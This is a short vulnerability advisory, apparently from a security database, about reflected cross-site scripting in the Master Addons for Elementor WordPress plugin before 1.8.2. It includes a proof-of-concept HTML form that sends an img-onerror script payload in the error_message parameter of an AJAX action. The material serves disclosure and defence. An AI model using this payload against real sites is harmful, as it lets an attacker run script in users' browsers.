Master Addons for Elementor < 1.8.2 - Reflected Cross-Site Scripting

2022-02-2100:00:00

Krzysztof Zając

0.001 Low

EPSS

Percentile

44.3%

JSON

The plugin does not sanitise and escape the error_message parameter before outputting it back in the response of the jltma_restrict_content AJAX action, available to unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=jltma_restrict_content" method="POST">
        <input type="text" value="ma_el_rc_answer=x" name="fields">
        <input type="text" value="math_captcha" name="restrict_type">
        <input type="text" value="<img src onerror=alert(`XSS`)>" name="error_message">
        <input type="submit" value="Send">
    </form>
</html>

0.001 Low

EPSS

Percentile

44.3%

JSON

Related for WPEX-ID:DF38CC99-DA3C-4CC0-B179-1E52E841B883